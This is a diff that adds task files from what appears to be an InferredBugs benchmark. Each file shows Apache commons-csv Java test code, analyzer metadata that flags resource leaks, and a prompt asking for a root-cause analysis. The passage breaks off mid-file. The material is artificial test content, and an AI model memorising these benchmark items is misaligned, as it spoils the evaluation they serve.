+    // multiline including comments (and empty lines)
+    public void testNextToken2() throws IOException {
+        /*   file:   1,2,3,
+        *           a,b x,c
+        *
+        *           # this is a comment
+        *           d,e,
+        *
+        */
+        String code = "1,2,3,\na,b x,c\n#foo\n\nd,e,\n\n";
+        CSVFormat format = CSVFormat.DEFAULT.withCommentStart('#');
+        
+        TestCSVParser parser = new TestCSVParser(new StringReader(code), format);
+
+
+        assertEquals(TOKEN + ";1;", parser.testNextToken());
+        assertEquals(TOKEN + ";2;", parser.testNextToken());
+        assertEquals(TOKEN + ";3;", parser.testNextToken());
+        assertEquals(EORECORD + ";;", parser.testNextToken());
+        assertEquals(TOKEN + ";a;", parser.testNextToken());
+        assertEquals(TOKEN + ";b x;", parser.testNextToken());
+        assertEquals(EORECORD + ";c;", parser.testNextToken());
+        assertEquals(EORECORD + ";;", parser.testNextToken());
+        assertEquals(TOKEN + ";d;", parser.testNextToken());
+        assertEquals(TOKEN + ";e;", parser.testNextToken());
+        assertEquals(EORECORD + ";;", parser.testNextToken());
+        assertEquals(EOF + ";;", parser.testNextToken());
+        assertEquals(EOF + ";;", parser.testNextToken());
+
+    }
+
+    // simple token with escaping
+    public void testNextToken3() throws IOException {
+        /* file: a,\,,b
+        *       \,,
+        */
+        String code = "a,\\,,b\n\\,,";
+        CSVFormat format = CSVFormat.DEFAULT.withCommentStart('#');
+        TestCSVParser parser = new TestCSVParser(new StringReader(code), format);
+
+        assertEquals(TOKEN + ";a;", parser.testNextToken());
+        // an unquoted single backslash is not an escape char
+        assertEquals(TOKEN + ";\\;", parser.testNextToken());
+        assertEquals(TOKEN + ";;", parser.testNextToken());
+        assertEquals(EORECORD + ";b;", parser.testNextToken());
+        // an unquoted single backslash is not an escape char
+        assertEquals(TOKEN + ";\\;", parser.testNextToken());
+        assertEquals(TOKEN + ";;", parser.testNextToken());
+        assertEquals(EOF + ";;", parser.testNextToken());
+    }
+
+    // encapsulator tokenizer (sinle line)
+    public void testNextToken4() throws IOException {
+        /* file:  a,"foo",b
+        *        a,   " foo",b
+        *        a,"foo "   ,b     // whitespace after closing encapsulator
+        *        a,  " foo " ,b
+        */
+        String code =
+                "a,\"foo\",b\na,   \" foo\",b\na,\"foo \"  ,b\na,  \" foo \"  ,b";
+        TestCSVParser parser = new TestCSVParser(new StringReader(code));
+        assertEquals(TOKEN + ";a;", parser.testNextToken());
+        assertEquals(TOKEN + ";foo;", parser.testNextToken());
+        assertEquals(EORECORD + ";b;", parser.testNextToken());
+        assertEquals(TOKEN + ";a;", parser.testNextToken());
+        assertEquals(TOKEN + "; foo;", parser.testNextToken());
+        assertEquals(EORECORD + ";b;", parser.testNextToken());
+        assertEquals(TOKEN + ";a;", parser.testNextToken());
+        assertEquals(TOKEN + ";foo ;", parser.testNextToken());
+        assertEquals(EORECORD + ";b;", parser.testNextToken());
+        assertEquals(TOKEN + ";a;", parser.testNextToken());
+        assertEquals(TOKEN + "; foo ;", parser.testNextToken());
+//     assertEquals(EORECORD + ";b;", parser.testNextToken());
+        assertEquals(EOF + ";b;", parser.testNextToken());
+    }
+
+    // encapsulator tokenizer (multi line, delimiter in string)
+    public void testNextToken5() throws IOException {
+        String code =
+                "a,\"foo\n\",b\n\"foo\n  baar ,,,\"\n\"\n\t \n\"";
+        TestCSVParser parser = new TestCSVParser(new StringReader(code));
+        assertEquals(TOKEN + ";a;", parser.testNextToken());
+        assertEquals(TOKEN + ";foo\n;", parser.testNextToken());
+        assertEquals(EORECORD + ";b;", parser.testNextToken());
+        assertEquals(EORECORD + ";foo\n  baar ,,,;",
+                parser.testNextToken());
+        assertEquals(EOF + ";\n\t \n;", parser.testNextToken());
+
+    }
+
+    // change delimiters, comment, encapsulater
+    public void testNextToken6() throws IOException {
+        /* file: a;'b and \' more
+        *       '
+        *       !comment;;;;
+        *       ;;
+        */
+        String code = "a;'b and '' more\n'\n!comment;;;;\n;;";
+        TestCSVParser parser = new TestCSVParser(new StringReader(code), new CSVFormat(';', '\'', '!'));
+        assertEquals(TOKEN + ";a;", parser.testNextToken());
+        assertEquals(
+                EORECORD + ";b and ' more\n;",
+                parser.testNextToken());
+    }
+
+
+    // ======================================================
+    //   parser tests
+    // ======================================================
+
+    String code =
+            "a,b,c,d\n"
+                    + " a , b , 1 2 \n"
+                    + "\"foo baar\", b,\n"
+                    // + "   \"foo\n,,\n\"\",,\n\\\"\",d,e\n";
+                    + "   \"foo\n,,\n\"\",,\n\"\"\",d,e\n";   // changed to use standard CSV escaping
+    String[][] res = {
+            {"a", "b", "c", "d"},
+            {"a", "b", "1 2"},
+            {"foo baar", "b", ""},
+            {"foo\n,,\n\",,\n\"", "d", "e"}
+    };
+
+    public void testGetLine() throws IOException {
+        CSVParser parser = new CSVParser(new StringReader(code));
+        for (String[] re : res) {
+            assertTrue(Arrays.equals(re, parser.getLine()));
+        }
+        
+        assertTrue(parser.getLine() == null);
+    }
+
+    public void testGetRecords() throws IOException {
+        CSVParser parser = new CSVParser(new StringReader(code));
+        String[][] tmp = parser.getRecords();
+        assertEquals(res.length, tmp.length);
+        assertTrue(tmp.length > 0);
+        for (int i = 0; i < res.length; i++) {
+            assertTrue(Arrays.equals(res[i], tmp[i]));
+        }
+    }
+
+    public void testExcelFormat1() throws IOException {
+        String code =
+                "value1,value2,value3,value4\r\na,b,c,d\r\n  x,,,"
+                        + "\r\n\r\n\"\"\"hello\"\"\",\"  \"\"world\"\"\",\"abc\ndef\",\r\n";
+        String[][] res = {
+                {"value1", "value2", "value3", "value4"},
+                {"a", "b", "c", "d"},
+                {"  x", "", "", ""},
+                {""},
+                {"\"hello\"", "  \"world\"", "abc\ndef", ""}
+        };
+        CSVParser parser = new CSVParser(new StringReader(code), CSVFormat.EXCEL);
+        String[][] tmp = parser.getRecords();
+        assertEquals(res.length, tmp.length);
+        assertTrue(tmp.length > 0);
+        for (int i = 0; i < res.length; i++) {
+            assertTrue(Arrays.equals(res[i], tmp[i]));
+        }
+    }
+
+    public void testExcelFormat2() throws Exception {
+        String code = "foo,baar\r\n\r\nhello,\r\n\r\nworld,\r\n";
+        String[][] res = {
+                {"foo", "baar"},
+                {""},
+                {"hello", ""},
+                {""},
+                {"world", ""}
+        };
+        CSVParser parser = new CSVParser(new StringReader(code), CSVFormat.EXCEL);
+        String[][] tmp = parser.getRecords();
+        assertEquals(res.length, tmp.length);
+        assertTrue(tmp.length > 0);
+        for (int i = 0; i < res.length; i++) {
+            assertTrue(Arrays.equals(res[i], tmp[i]));
+        }
+    }
+
+    public void testEndOfFileBehaviourExcel() throws Exception {
+        String[] codes = {
+                "hello,\r\n\r\nworld,\r\n",
+                "hello,\r\n\r\nworld,",
+                "hello,\r\n\r\nworld,\"\"\r\n",
+                "hello,\r\n\r\nworld,\"\"",
+                "hello,\r\n\r\nworld,\n",
+                "hello,\r\n\r\nworld,",
+                "hello,\r\n\r\nworld,\"\"\n",
+                "hello,\r\n\r\nworld,\"\""
+        };
+        String[][] res = {
+                {"hello", ""},
+                {""},  // Excel format does not ignore empty lines
+                {"world", ""}
+        };
+        
+        for (String code : codes) {
+            CSVParser parser = new CSVParser(new StringReader(code), CSVFormat.EXCEL);
+            String[][] tmp = parser.getRecords();
+            assertEquals(res.length, tmp.length);
+            assertTrue(tmp.length > 0);
+            for (int i = 0; i < res.length; i++) {
+                assertTrue(Arrays.equals(res[i], tmp[i]));
+            }
+        }
+    }
+
+    public void testEndOfFileBehaviorCSV() throws Exception {
+        String[] codes = {
+                "hello,\r\n\r\nworld,\r\n",
+                "hello,\r\n\r\nworld,",
+                "hello,\r\n\r\nworld,\"\"\r\n",
+                "hello,\r\n\r\nworld,\"\"",
+                "hello,\r\n\r\nworld,\n",
+                "hello,\r\n\r\nworld,",
+                "hello,\r\n\r\nworld,\"\"\n",
+                "hello,\r\n\r\nworld,\"\""
+        };
+        String[][] res = {
+                {"hello", ""},  // CSV format ignores empty lines
+                {"world", ""}
+        };
+        String code;
+        for (int codeIndex = 0; codeIndex < codes.length; codeIndex++) {
+            code = codes[codeIndex];
+            CSVParser parser = new CSVParser(new StringReader(code));
+            String[][] tmp = parser.getRecords();
+            assertEquals(res.length, tmp.length);
+            assertTrue(tmp.length > 0);
+            for (int i = 0; i < res.length; i++) {
+                assertTrue(Arrays.equals(res[i], tmp[i]));
+            }
+        }
+    }
+
+    public void testEmptyLineBehaviourExcel() throws Exception {
+        String[] codes = {
+                "hello,\r\n\r\n\r\n",
+                "hello,\n\n\n",
+                "hello,\"\"\r\n\r\n\r\n",
+                "hello,\"\"\n\n\n"
+        };
+        String[][] res = {
+                {"hello", ""},
+                {""},  // Excel format does not ignore empty lines
+                {""}
+        };
+        String code;
+        for (int codeIndex = 0; codeIndex < codes.length; codeIndex++) {
+            code = codes[codeIndex];
+            CSVParser parser = new CSVParser(new StringReader(code), CSVFormat.EXCEL);
+            String[][] tmp = parser.getRecords();
+            assertEquals(res.length, tmp.length);
+            assertTrue(tmp.length > 0);
+            for (int i = 0; i < res.length; i++) {
+                assertTrue(Arrays.equals(res[i], tmp[i]));
+            }
+        }
+    }
+
+    public void testEmptyLineBehaviourCSV() throws Exception {
+        String[] codes = {
+                "hello,\r\n\r\n\r\n",
+                "hello,\n\n\n",
+                "hello,\"\"\r\n\r\n\r\n",
+                "hello,\"\"\n\n\n"
+        };
+        String[][] res = {
+                {"hello", ""}  // CSV format ignores empty lines
+        };
+        String code;
+        for (int codeIndex = 0; codeIndex < codes.length; codeIndex++) {
+            code = codes[codeIndex];
+            CSVParser parser = new CSVParser(new StringReader(code));
+            String[][] tmp = parser.getRecords();
+            assertEquals(res.length, tmp.length);
+            assertTrue(tmp.length > 0);
+            for (int i = 0; i < res.length; i++) {
+                assertTrue(Arrays.equals(res[i], tmp[i]));
+            }
+        }
+    }
+
+    public void OLDtestBackslashEscaping() throws IOException {
+        String code =
+                "one,two,three\n"
+                        + "on\\\"e,two\n"
+                        + "on\"e,two\n"
+                        + "one,\"tw\\\"o\"\n"
+                        + "one,\"t\\,wo\"\n"
+                        + "one,two,\"th,ree\"\n"
+                        + "\"a\\\\\"\n"
+                        + "a\\,b\n"
+                        + "\"a\\\\,b\"";
+        String[][] res = {
+                {"one", "two", "three"},
+                {"on\\\"e", "two"},
+                {"on\"e", "two"},
+                {"one", "tw\"o"},
+                {"one", "t\\,wo"},  // backslash in quotes only escapes a delimiter (",")
+                {"one", "two", "th,ree"},
+                {"a\\\\"},     // backslash in quotes only escapes a delimiter (",")
+                {"a\\", "b"},  // a backslash must be returnd
+                {"a\\\\,b"}    // backslash in quotes only escapes a delimiter (",")
+        };
+        CSVParser parser = new CSVParser(new StringReader(code));
+        String[][] tmp = parser.getRecords();
+        assertEquals(res.length, tmp.length);
+        assertTrue(tmp.length > 0);
+        for (int i = 0; i < res.length; i++) {
+            assertTrue(Arrays.equals(res[i], tmp[i]));
+        }
+    }
+
+    public void testBackslashEscaping() throws IOException {
+
+        // To avoid confusion over the need for escaping chars in java code,
+        // We will test with a forward slash as the escape char, and a single
+        // quote as the encapsulator.
+
+        String code =
+                "one,two,three\n" // 0
+                        + "'',''\n"       // 1) empty encapsulators
+                        + "/',/'\n"       // 2) single encapsulators
+                        + "'/'','/''\n"   // 3) single encapsulators encapsulated via escape
+                        + "'''',''''\n"   // 4) single encapsulators encapsulated via doubling
+                        + "/,,/,\n"       // 5) separator escaped
+                        + "//,//\n"       // 6) escape escaped
+                        + "'//','//'\n"   // 7) escape escaped in encapsulation
+                        + "   8   ,   \"quoted \"\" /\" // string\"   \n"     // don't eat spaces
+                        + "9,   /\n   \n"  // escaped newline
+                        + "";
+        String[][] res = {
+                {"one", "two", "three"}, // 0
+                {"", ""},                // 1
+                {"'", "'"},              // 2
+                {"'", "'"},              // 3
+                {"'", "'"},              // 4
+                {",", ","},              // 5
+                {"/", "/"},              // 6
+                {"/", "/"},              // 7
+                {"   8   ", "   \"quoted \"\" \" / string\"   "},
+                {"9", "   \n   "},
+        };
+
+
+        CSVFormat format = new CSVFormat(',', '\'', CSVFormat.DISABLED, '/', false, false, true, true);
+
+        CSVParser parser = new CSVParser(new StringReader(code), format);
+        String[][] tmp = parser.getRecords();
+        assertTrue(tmp.length > 0);
+        for (int i = 0; i < res.length; i++) {
+            assertTrue(Arrays.equals(res[i], tmp[i]));
+        }
+    }
+
+    public void testBackslashEscaping2() throws IOException {
+
+        // To avoid confusion over the need for escaping chars in java code,
+        // We will test with a forward slash as the escape char, and a single
+        // quote as the encapsulator.
+
+        String code = ""
+                + " , , \n"           // 1)
+                + " \t ,  , \n"       // 2)
+                + " // , /, , /,\n"   // 3)
+                + "";
+        String[][] res = {
+                {" ", " ", " "},         // 1
+                {" \t ", "  ", " "},         // 2
+                {" / ", " , ", " ,"},         //3
+        };
+
+
+        CSVFormat format = new CSVFormat(',',  CSVFormat.DISABLED,  CSVFormat.DISABLED, '/', false, false, true, true);
+
+        CSVParser parser = new CSVParser(new StringReader(code), format);
+        String[][] tmp = parser.getRecords();
+        assertTrue(tmp.length > 0);
+
+        if (!CSVPrinterTest.equals(res, tmp)) {
+            assertTrue(false);
+        }
+
+    }
+
+
+    public void testDefaultFormat() throws IOException {
+
+        String code = ""
+                + "a,b\n"            // 1)
+                + "\"\n\",\" \"\n"   // 2)
+                + "\"\",#\n"   // 2)
+                ;
+        String[][] res = {
+                {"a", "b"},
+                {"\n", " "},
+                {"", "#"},
+        };
+
+        CSVFormat format = CSVFormat.DEFAULT;
+        assertEquals(CSVFormat.DISABLED, format.getCommentStart());
+
+        CSVParser parser = new CSVParser(new StringReader(code), format);
+        String[][] tmp = parser.getRecords();
+        assertTrue(tmp.length > 0);
+
+        if (!CSVPrinterTest.equals(res, tmp)) {
+            assertTrue(false);
+        }
+
+        String[][] res_comments = {
+                {"a", "b"},
+                {"\n", " "},
+                {""},
+        };
+
+        format = new CSVFormat(',', '"', '#');
+        parser = new CSVParser(new StringReader(code), format);
+        tmp = parser.getRecords();
+
+        if (!CSVPrinterTest.equals(res_comments, tmp)) {
+            assertTrue(false);
+        }
+    }
+
+
+    public void testUnicodeEscape() throws IOException {
+        String code = "abc,\\u0070\\u0075\\u0062\\u006C\\u0069\\u0063";
+        CSVParser parser = new CSVParser(new StringReader(code), CSVFormat.DEFAULT.withUnicodeEscapesInterpreted(true));
+        String[] data = parser.iterator().next();
+        assertEquals(2, data.length);
+        assertEquals("abc", data[0]);
+        assertEquals("public", data[1]);
+    }
+
+    public void testCarriageReturnLineFeedEndings() throws IOException {
+        String code = "foo\r\nbaar,\r\nhello,world\r\n,kanu";
+        CSVParser parser = new CSVParser(new StringReader(code));
+        String[][] data = parser.getRecords();
+        assertEquals(4, data.length);
+    }
+
+    public void testCarriageReturnEndings() throws IOException {
+        String code = "foo\rbaar,\rhello,world\r,kanu";
+        CSVParser parser = new CSVParser(new StringReader(code));
+        String[][] data = parser.getRecords();
+        assertEquals(4, data.length);
+    }
+
+    public void testLineFeedEndings() throws IOException {
+        String code = "foo\nbaar,\nhello,world\n,kanu";
+        CSVParser parser = new CSVParser(new StringReader(code));
+        String[][] data = parser.getRecords();
+        assertEquals(4, data.length);
+    }
+
+    public void testIgnoreEmptyLines() throws IOException {
+        String code = "\nfoo,baar\n\r\n,\n\n,world\r\n\n";
+        //String code = "world\r\n\n";
+        //String code = "foo;baar\r\n\r\nhello;\r\n\r\nworld;\r\n";
+        CSVParser parser = new CSVParser(new StringReader(code));
+        String[][] data = parser.getRecords();
+        assertEquals(3, data.length);
+    }
+
+    // From SANDBOX-153
+    public void testDelimiterIsWhitespace() throws IOException {
+        String code = "one\ttwo\t\tfour \t five\t six";
+        TestCSVParser parser = new TestCSVParser(new StringReader(code), CSVFormat.TDF);
+        assertEquals(TOKEN + ";one;", parser.testNextToken());
+        assertEquals(TOKEN + ";two;", parser.testNextToken());
+        assertEquals(TOKEN + ";;", parser.testNextToken());
+        assertEquals(TOKEN + ";four;", parser.testNextToken());
+        assertEquals(TOKEN + ";five;", parser.testNextToken());
+        assertEquals(EOF + ";six;", parser.testNextToken());
+    }
+
+    public void testForEach() {
+        List<String[]> records = new ArrayList<String[]>();
+        
+        String code = "a,b,c\n1,2,3\nx,y,z";
+        Reader in = new StringReader(code);
+        
+        for (String[] record : new CSVParser(in)) {
+            records.add(record);
+        }
+        
+        assertEquals(3, records.size());
+        assertTrue(Arrays.equals(new String[] {"a", "b", "c"}, records.get(0)));
+        assertTrue(Arrays.equals(new String[]{"1", "2", "3"}, records.get(1)));
+        assertTrue(Arrays.equals(new String[] {"x", "y", "z"}, records.get(2)));
+    }
+
+    public void testIterator() {
+        String code = "a,b,c\n1,2,3\nx,y,z";
+        Iterator<String[]> iterator = new CSVParser(new StringReader(code)).iterator();
+        
+        assertTrue(iterator.hasNext());
+        iterator.remove();
+        assertTrue(Arrays.equals(new String[]{"a", "b", "c"}, iterator.next()));
+        assertTrue(Arrays.equals(new String[]{"1", "2", "3"}, iterator.next()));
+        assertTrue(iterator.hasNext());
+        assertTrue(iterator.hasNext());
+        assertTrue(iterator.hasNext());
+        assertTrue(Arrays.equals(new String[]{"x", "y", "z"}, iterator.next()));
+        assertFalse(iterator.hasNext());
+        
+        try {
+            iterator.next();
+            fail("NoSuchElementException expected");
+        } catch (NoSuchElementException e) {
+            // expected
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.commons.csv.ExtendedBufferedReader` acquired by call to `CSVParser(...)` at line 591 is not released after line 609.
+**Note**: potential exception at line 596
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void CSVParserTest.testIterator()
+
+### Procedure Id:
+org.apache.commons.csv.CSVParserTest.testIterator():void.99c7e0d51220c61183c31c9cc4e20cce
+
+### File:
+src/test/java/org/apache/commons/csv/CSVParserTest.java
+
+### Key:
+CSVParserTest.java|testIterator|RESOURCE_LEAK
+
+### Node Key:
+95ced91ca0473a6646194f1eb482b307
+
+### Hash:
+f8be408977d57975325996ad470429d6
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6438/instruction.md b/inferredbugs-6438/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..251f1e23cbd75da2e06948bb641b2b97881de021
--- /dev/null
+++ b/inferredbugs-6438/instruction.md
@@ -0,0 +1,264 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-csv
+**Bug ID:** 42
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ * 
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ * 
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.commons.csv;
+
+import java.io.StringReader;
+import java.util.Arrays;
+
+import org.junit.Test;
+
+import static org.junit.Assert.*;
+
+public class ExtendedBufferedReaderTest {
+
+    @Test
+    public void testEmptyInput() throws Exception {
+        ExtendedBufferedReader br = getBufferedReader("");
+        assertEquals(ExtendedBufferedReader.END_OF_STREAM, br.read());
+        assertEquals(ExtendedBufferedReader.END_OF_STREAM, br.lookAhead());
+        assertEquals(ExtendedBufferedReader.END_OF_STREAM, br.readAgain());
+        assertNull(br.readLine());
+        assertEquals(0, br.read(new char[10], 0, 0));
+    }
+
+    @Test
+    public void testReadLookahead1() throws Exception {
+        ExtendedBufferedReader br = getBufferedReader("1\n2\r3\n");
+        assertEquals('1', br.lookAhead());
+        assertEquals(ExtendedBufferedReader.UNDEFINED, br.readAgain());
+        assertEquals('1', br.read());
+        assertEquals('1', br.readAgain());
+
+        assertEquals(0, br.getLineNumber());
+        assertEquals('\n', br.lookAhead());
+        assertEquals(0, br.getLineNumber());
+        assertEquals('1', br.readAgain());
+        assertEquals('\n', br.read());
+        assertEquals(1, br.getLineNumber());
+        assertEquals('\n', br.readAgain());
+        assertEquals(1, br.getLineNumber());
+
+        assertEquals('2', br.lookAhead());
+        assertEquals(1, br.getLineNumber());
+        assertEquals('\n', br.readAgain());
+        assertEquals(1, br.getLineNumber());
+        assertEquals('2', br.read());
+        assertEquals('2', br.readAgain());
+
+        assertEquals('\r', br.lookAhead());
+        assertEquals('2', br.readAgain());
+        assertEquals('\r', br.read());
+        assertEquals('\r', br.readAgain());
+
+        assertEquals('3', br.lookAhead());
+        assertEquals('\r', br.readAgain());
+        assertEquals('3', br.read());
+        assertEquals('3', br.readAgain());
+
+        assertEquals('\n', br.lookAhead());
+        assertEquals(1, br.getLineNumber()); // will need fixing for CSV-75
+        assertEquals('3', br.readAgain());
+        assertEquals('\n', br.read());
+        assertEquals(2, br.getLineNumber()); // will need fixing for CSV-75
+        assertEquals('\n', br.readAgain());
+        assertEquals(2, br.getLineNumber()); // will need fixing for CSV-75
+
+        assertEquals(ExtendedBufferedReader.END_OF_STREAM, br.lookAhead());
+        assertEquals('\n', br.readAgain());
+        assertEquals(ExtendedBufferedReader.END_OF_STREAM, br.read());
+        assertEquals(ExtendedBufferedReader.END_OF_STREAM, br.readAgain());
+        assertEquals(ExtendedBufferedReader.END_OF_STREAM, br.read());
+        assertEquals(ExtendedBufferedReader.END_OF_STREAM, br.lookAhead());
+
+    }
+
+    @Test
+    public void testReadLookahead2() throws Exception {
+        char[] ref = new char[5];
+        char[] res = new char[5];
+        
+        ExtendedBufferedReader br = getBufferedReader("abcdefg");
+        ref[0] = 'a';
+        ref[1] = 'b';
+        ref[2] = 'c';
+        assertEquals(3, br.read(res, 0, 3));
+        assertTrue(Arrays.equals(res, ref));
+        assertEquals('c', br.readAgain());
+
+        assertEquals('d', br.lookAhead());
+        ref[4] = 'd';
+        assertEquals(1, br.read(res, 4, 1));
+        assertTrue(Arrays.equals(res, ref));
+        assertEquals('d', br.readAgain());
+    }
+
+    @Test
+    public void testReadLine() throws Exception {
+        ExtendedBufferedReader br = getBufferedReader("");
+        assertTrue(br.readLine() == null);
+
+        br = getBufferedReader("\n");
+        assertEquals("",br.readLine());
+        assertTrue(br.readLine() == null);
+
+        br = getBufferedReader("foo\n\nhello");
+        assertEquals(0, br.getLineNumber());
+        assertEquals("foo",br.readLine());
+        assertEquals(1, br.getLineNumber());
+        assertEquals("",br.readLine());
+        assertEquals(2, br.getLineNumber());
+        assertEquals("hello",br.readLine());
+        assertEquals(3, br.getLineNumber());
+        assertTrue(br.readLine() == null);
+        assertEquals(3, br.getLineNumber());
+
+        br = getBufferedReader("foo\n\nhello");
+        assertEquals('f', br.read());
+        assertEquals('o', br.lookAhead());
+        assertEquals("oo",br.readLine());
+        assertEquals(1, br.getLineNumber());
+        assertEquals('\n', br.lookAhead());
+        assertEquals("",br.readLine());
+        assertEquals(2, br.getLineNumber());
+        assertEquals('h', br.lookAhead());
+        assertEquals("hello",br.readLine());
+        assertTrue(br.readLine() == null);
+        assertEquals(3, br.getLineNumber());
+
+
+        br = getBufferedReader("foo\rbaar\r\nfoo");
+        assertEquals("foo",br.readLine());
+        assertEquals('b', br.lookAhead());
+        assertEquals("baar",br.readLine());
+        assertEquals('f', br.lookAhead());
+        assertEquals("foo",br.readLine());
+        assertTrue(br.readLine() == null);
+    }
+
+    /*
+     * Test to illustrate  https://issues.apache.org/jira/browse/CSV-75
+     * 
+     * TODO fix checks when code is fixed
+     */
+    @Test
+    public void testReadChar() throws Exception {
+        String LF="\n"; String CR="\r"; String CRLF=CR+LF; String LFCR=LF+CR;// easier to read the string below
+        String test="a" + LF + "b" + CR + "c" + LF + LF + "d" + CR + CR + "e" + LFCR + "f "+ CRLF;
+        //                EOL        eol        EOL  EOL        eol  eol        EOL+CR        EOL
+        // EOL = current EOL behaviour with read() methods
+        // eol = additional behaviour with readLine()
+        final int EOLct=5;
+        final int EOLeolct=9;
+        ExtendedBufferedReader br;
+        
+        br = getBufferedReader(test);
+        assertEquals(0, br.getLineNumber());
+        while(br.readLine()!=null) {}
+        assertEquals(EOLeolct, br.getLineNumber());
+
+        br = getBufferedReader(test);
+        assertEquals(0, br.getLineNumber());
+        while(br.read()!=-1) {}
+        assertEquals(EOLct, br.getLineNumber()); // will need fixing for CSV-75
+
+        br = getBufferedReader(test);
+        assertEquals(0, br.getLineNumber());
+        char[] buff = new char[10];
+        while(br.read(buff ,0, 3)!=-1) {}
+        assertEquals(EOLct, br.getLineNumber()); // will need fixing for CSV-75
+    }
+
+    private ExtendedBufferedReader getBufferedReader(String s) {
+        return new ExtendedBufferedReader(new StringReader(s));
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.commons.csv.ExtendedBufferedReader` acquired to `br` by call to `getBufferedReader(...)` at line 115 is not released after line 117.
+**Note**: potential exception at line 117
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ExtendedBufferedReaderTest.testReadLine()
+
+### Procedure Id:
+org.apache.commons.csv.ExtendedBufferedReaderTest.testReadLine():void.e38b90399370c04e7bcace6e540a3af8
+
+### File:
+src/test/java/org/apache/commons/csv/ExtendedBufferedReaderTest.java
+
+### Key:
+ExtendedBufferedReaderTest.java|testReadLine|RESOURCE_LEAK
+
+### Node Key:
+b0332e11c33066b7b27fa03971d6db83
+
+### Hash:
+3046510e1a385a4187e6cceda30032e9
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6452/instruction.md b/inferredbugs-6452/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..9f5ad29874f98a50472662f2daf594077971993f
--- /dev/null
+++ b/inferredbugs-6452/instruction.md
@@ -0,0 +1,280 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-csv
+**Bug ID:** 143
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.commons.csv;
+
+import static org.apache.commons.csv.Constants.END_OF_STREAM;
+import static org.apache.commons.csv.Constants.UNDEFINED;
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+
+import java.io.StringReader;
+
+import org.junit.Test;
+
+/**
+ *
+ *
+ * @version $Id$
+ */
+public class ExtendedBufferedReaderTest {
+
+    @Test
+    public void testEmptyInput() throws Exception {
+        final ExtendedBufferedReader br = getBufferedReader("");
+        assertEquals(END_OF_STREAM, br.read());
+        assertEquals(END_OF_STREAM, br.lookAhead());
+        assertEquals(END_OF_STREAM, br.getLastChar());
+        assertNull(br.readLine());
+        assertEquals(0, br.read(new char[10], 0, 0));
+    }
+
+    @Test
+    public void testReadLookahead1() throws Exception {
+        final ExtendedBufferedReader br = getBufferedReader("1\n2\r3\n");
+        assertEquals(0, br.getCurrentLineNumber());
+        assertEquals('1', br.lookAhead());
+        assertEquals(UNDEFINED, br.getLastChar());
+        assertEquals(0, br.getCurrentLineNumber());
+        assertEquals('1', br.read()); // Start line 1
+        assertEquals('1', br.getLastChar());
+
+        assertEquals(1, br.getCurrentLineNumber());
+        assertEquals('\n', br.lookAhead());
+        assertEquals(1, br.getCurrentLineNumber());
+        assertEquals('1', br.getLastChar());
+        assertEquals('\n', br.read());
+        assertEquals(1, br.getCurrentLineNumber());
+        assertEquals('\n', br.getLastChar());
+        assertEquals(1, br.getCurrentLineNumber());
+
+        assertEquals('2', br.lookAhead());
+        assertEquals(1, br.getCurrentLineNumber());
+        assertEquals('\n', br.getLastChar());
